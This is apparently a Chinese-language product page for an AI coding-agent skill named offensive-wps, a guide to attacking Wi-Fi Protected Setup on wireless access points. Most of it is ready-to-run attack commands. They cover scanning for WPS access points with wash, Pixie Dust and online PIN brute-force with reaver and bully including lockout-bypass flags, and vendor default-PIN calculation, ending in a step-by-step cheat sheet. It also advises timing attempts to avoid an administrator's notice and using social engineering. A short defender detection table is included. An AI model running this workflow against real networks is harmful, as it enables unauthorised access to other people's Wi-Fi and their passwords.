关于 offensive-wps
offensive-wps 是面向授权无线安全评估的 WPS PIN 攻击测试指南,介绍检测、离线 Pixie Dust 与在线 PIN 测试及锁定处理。
主要功能
- 01扫描启用 WPS 的接入点
- 02测试离线 Pixie Dust 攻击
- 03评估在线 PIN 暴力尝试
- 04检查锁定状态与处理方式
- 05尝试厂商默认 PIN 模式
适用场景
- 01审查接入点的 WPS 暴露情况
- 02评估芯片组对 Pixie Dust 的易受攻击性
- 03验证 WPS 锁定策略的效果
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-wps安装后在 Claude Code 中输入/offensive-wps确认已加载。
详细介绍
WPS PIN 攻击
WPS 通过 M3/M4 消息交换,将 8 位 PIN 转换为网络 PSK。PIN 分为 4 位 + 3 位两部分(第 8 位是校验位),因此实际组合只有 11,000 种——在易受攻击的芯片组上,离线 Pixie Dust 攻击可在数秒内恢复 PIN,且无需发起任何在线尝试。
快速工作流
- 检测启用 WPS 的 AP(查看信标中的 WPS IE)
- 优先尝试 Pixie Dust——离线、不可检测,成功时可瞬间完成
- 如果芯片组不易受攻击,检查在线暴力破解是否可行(锁定策略)
- 最后才尝试在线暴力破解,速度慢且容易被检测
检测
# wash — dedicated WPS scanner
sudo wash -i wlan0mon
# Or use airodump-ng with WPS column
sudo airodump-ng wlan0mon --wps
输出包括:WPS 版本(1.0 / 2.0)、锁定状态、已配置/未配置、厂商。
WPS 2.0 引入了锁定机制,但许多消费级 AP 仍将其实现为“失败 3 次后锁定 60 秒”——只需等待即可轻松绕过。
Pixie Dust(离线)
Pixie Dust 攻击利用了实现 WPS 的芯片组中较弱的随机数生成机制。该攻击会捕获一次完整的 WPS 握手(M1-M4),然后离线计算 PIN。
# reaver with Pixie Dust mode
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
# bully alternative
sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon
| 芯片组 | 易受攻击? |
|---|---|
| Ralink(RT 芯片组) | 是——多数较旧的 D-Link、TP-Link、Edimax 设备 |
| Realtek(RTL8xxx) | 是——许多 TRENDnet、Belkin 设备 |
| Broadcom(较旧固件) | 通常是——取决于具体型号和固件版本 |
| MediaTek(特定版本) | 不一 |
| Atheros | 大多已修补 |
成功时:
[Pixie-Dust] WPS PIN: 12345670
[Pixie-Dust] WPA PSK: ActualPasswordHere
[Pixie-Dust] AP SSID: HomeWiFi
通过 M7 消息,PIN 可直接得到 PSK——无需破解 PSK。
在线 PIN 暴力破解
Pixie Dust 失败时,在线暴力破解是备用方案。依次使用不同 PIN 发送 EAPOL-Start → M1 → M2 → M3 尝试。
# reaver online mode (default)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF \
-L -N -d 15 -t 30 -T .5 -r 3:30 -vv
# Flags:
# -L : ignore failed lockouts
# -N : don't send NACK packets
# -d 15 : 15-second delay between attempts
# -t 30 : timeout
# -T .5 : timeout for receiving M5/M7
# -r 3:30 : pause 30s every 3 attempts
处理锁定
大多数现代 AP 在 PIN 尝试失败几次后会锁定 WPS。检测锁定状态:
- AP 不再响应 EAPOL-Start
- 信标中的 WPS
Locked标志变为Yes
策略:
- 等待解锁:许多 AP 会在 60–600 秒后自动解锁。相应设置
-r。 - 重启 AP:物理重置状态。仅在你有权进行此类中断时才可使用。
- 分散不同时段的尝试:选择低流量时段,以免恰逢合法 WPS 使用而引起管理员注意。
时间估算
- 11,000 次尝试 ×(延迟 + 超时)≈ 最快 4 小时,实际需 12–24 小时
- 锁定导致的时间倍增:根据策略为 5–20 倍
- 芯片组易受攻击时,Pixie Dust 只需几分钟。 务必优先尝试。
按钮配置(PBC)方式
用户按下 AP 上的按钮后,WPS PBC 会开启一个 120 秒的窗口。在此期间,任何请求 WPS 的客户端都无需 PIN 即可配对。
攻击可行性:
- 实际上:需要物理接触按钮(= 你已经得手),或使用社会工程手段(“IT 人员会在 14:00 按下按钮”)
- 一些有缺陷的 AP 会永久保持 PBC 窗口开启——可通过发送 PBC 关联请求进行测试
# Trigger PBC pairing attempt
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '00000000' -P
默认 PIN 模式
一些厂商会根据 MAC 地址和序列号生成 WPS PIN。已知算法时:
# wpscalc / WPSPIN — calculate likely PINs from BSSID
wpspin --bssid AA:BB:CC:DD:EE:FF
# Outputs candidate PINs to try first before brute
某些 Belkin、ZyXEL 和 Linksys 型号的命中率很高。
检测注意事项
| 信号 | 防御方视角 |
|---|---|
| Reaver/bully 流量模式 | WIPS 规则:快速发起 WPS 交换尝试 |
| PIN 失败次数激增 | WPS Locked 标志变化 |
| 厂商 PSK 离线泄露 | 不可检测——Pixie Dust 是离线攻击 |
| 消费级管理界面 | 如果 AP 具备审计功能,可能会记录“WPS 尝试”(很少见) |
从线路层面来看,针对易受攻击芯片组的 Pixie Dust 几乎不可检测——只发生一次 WPS 交换,与合法客户端的行为完全相同。
攻测速查表
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
# 2. Find WPS APs
sudo wash -i wlan0mon
# 3. Pixie Dust first
sudo reaver -i wlan0mon -b <BSSID> -K 1 -vvv
# 4. If Pixie Dust fails, try vendor-specific PIN candidates
wpspin --bssid <BSSID> | head -10
# 5. Online brute as last resort
sudo reaver -i wlan0mon -b <BSSID> -L -N -d 15 -t 30 -r 3:30 -vv
# 6. Once PIN known, derive PSK from M7 message
# (reaver does this automatically; bully prints PSK on success)
关键参考资料
- pixiewps:github.com/wiire-a/pixiewps
- reaver:github.com/t6x/reaver-wps-fork-t6x
- bully:github.com/aanarchyy/bully
- WPS 2.0 规范(Wi-Fi Alliance)
- “Pixie Dust Attack”(Bongard,2014)——首次披露
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md